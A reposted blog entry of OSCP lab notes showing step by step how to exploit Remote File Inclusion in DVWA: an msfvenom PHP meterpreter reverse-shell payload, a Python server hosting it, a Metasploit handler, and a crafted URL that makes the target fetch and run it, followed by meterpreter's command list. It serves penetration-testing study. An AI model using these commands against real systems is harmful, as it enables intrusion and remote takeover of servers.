OSCP Learning Notes - WebApp Exploitation(5)

朴灿烈づ我的快乐病毒、 2021-10-30 05:14 369阅读 0赞

Remote File Inclusion[RFI]

Prepare:

Download the DVWA from the following website and deploy it on your server.

http://www.dvwa.co.uk/

Install XAMPP and DVWA:

  1. Install XAMPP on Windows server. And change the Apache http port to 82 and ssl port to 4433.

347404-20190721171437080-330970890.png

2.Unzip the DVWA files to C:\xampp\htdocs.

347404-20190721171653676-946361026.png

  1. Modify some configurations and browse the the DVWA website. The click the “Create/Reset Database” buttion.

347404-20190721175613057-1484435086.png

  1. Login the DVWA using admin/passsord.

347404-20190721175807749-242247835.png

5.Set the DVWA Security to Low and submit.

347404-20190721175951113-231082702.png

  1. Go the File Inclusion page.

347404-20190721180207002-1942815962.png

  1. On Kali Linux, down load the file php-reverse-shell.php from the following website. And copy the file to /var/www/html.

    http://pentestmonkey.net/tools/web-shells/php-reverse-shell

347404-20190721180810309-82301231.png

8.Change the ip and port and save it.

347404-20190721180932297-1214461855.png

9.On the folder /var/www/html, create the exploit.php using the following commands.

  1. msfvenom -p php/meterpreter/reverse_tcp LHOST=10.0.0.109 LPORT=4444 >> expoit.php

347404-20190721181344172-1942098362.png

  1. Start the http server in the folder /var/www/html on Kali Linux.

    python3 -m http.server 80

347404-20190721182710468-757417324.png

  1. Start the metasploit tool , then set the LHOST, LPORT and payload moudle. Expolit finanlly.

    msfconsole

    set LHOST 10.0.0.109

    set LPORT 4444

    set payload php/meterpreter/reverse_tcp

    exploit

347404-20190721183505870-498674472.png

12.Browse the following url throuth Firefox.

  1. http://10.0.0.212:82/dvwa/vulnerabilities/fi/?page=http://10.0.0.109/exploit.php

347404-20190721184114027-994575157.png

Exploit the target server sucessfully.

347404-20190721184418987-282434509.png

  1. Perform shell command to find usefull information.

347404-20190721184508273-182100649.png

  1. Core Commands
  2. =============
  3. Command Description
  4. ------- -----------
  5. ? Help menu
  6. background Backgrounds the current session
  7. bg Alias for background
  8. bgkill Kills a background meterpreter script
  9. bglist Lists running background scripts
  10. bgrun Executes a meterpreter script as a background thread
  11. channel Displays information or control active channels
  12. close Closes a channel
  13. disable_unicode_encoding Disables encoding of unicode strings
  14. enable_unicode_encoding Enables encoding of unicode strings
  15. exit Terminate the meterpreter session
  16. get_timeouts Get the current session timeout values
  17. guid Get the session GUID
  18. help Help menu
  19. info Displays information about a Post module
  20. irb Open an interactive Ruby shell on the current session
  21. load Load one or more meterpreter extensions
  22. machine_id Get the MSF ID of the machine attached to the session
  23. migrate Migrate the server to another process
  24. pivot Manage pivot listeners
  25. pry Open the Pry debugger on the current session
  26. quit Terminate the meterpreter session
  27. read Reads data from a channel
  28. resource Run the commands stored in a file
  29. run Executes a meterpreter script or Post module
  30. secure (Re)Negotiate TLV packet encryption on the session
  31. sessions Quickly switch to another session
  32. set_timeouts Set the current session timeout values
  33. sleep Force Meterpreter to go quiet, then re-establish session.
  34. transport Change the current transport mechanism
  35. use Deprecated alias for "load"
  36. uuid Get the UUID for the current session
  37. write Writes data to a channel
  38. Stdapi: File system Commands
  39. ============================
  40. Command Description
  41. ------- -----------
  42. cat Read the contents of a file to the screen
  43. cd Change directory
  44. checksum Retrieve the checksum of a file
  45. cp Copy source to destination
  46. dir List files (alias for ls)
  47. download Download a file or directory
  48. edit Edit a file
  49. getlwd Print local working directory
  50. getwd Print working directory
  51. lcd Change local working directory
  52. lls List local files
  53. lpwd Print local working directory
  54. ls List files
  55. mkdir Make directory
  56. mv Move source to destination
  57. pwd Print working directory
  58. rm Delete the specified file
  59. rmdir Remove directory
  60. search Search for files
  61. upload Upload a file or directory
  62. Stdapi: Networking Commands
  63. ===========================
  64. Command Description
  65. ------- -----------
  66. portfwd Forward a local port to a remote service
  67. Stdapi: System Commands
  68. =======================
  69. Command Description
  70. ------- -----------
  71. execute Execute a command
  72. getenv Get one or more environment variable values
  73. getpid Get the current process identifier
  74. getuid Get the user that the server is running as
  75. kill Terminate a process
  76. localtime Displays the target system's local date and time
  77. pgrep Filter processes by name
  78. pkill Terminate processes by name
  79. ps List running processes
  80. shell Drop into a system command shell
  81. sysinfo Gets information about the remote system, such as OS
  82. Stdapi: Audio Output Commands
  83. =============================
  84. Command Description
  85. ------- -----------
  86. play play an audio file on target system, nothing written on disk

转载于:https://www.cnblogs.com/keepmoving1113/p/11222194.html

发表评论

表情:
评论列表 (有 0 条评论,369人围观)

还没有评论,来说两句吧...

相关阅读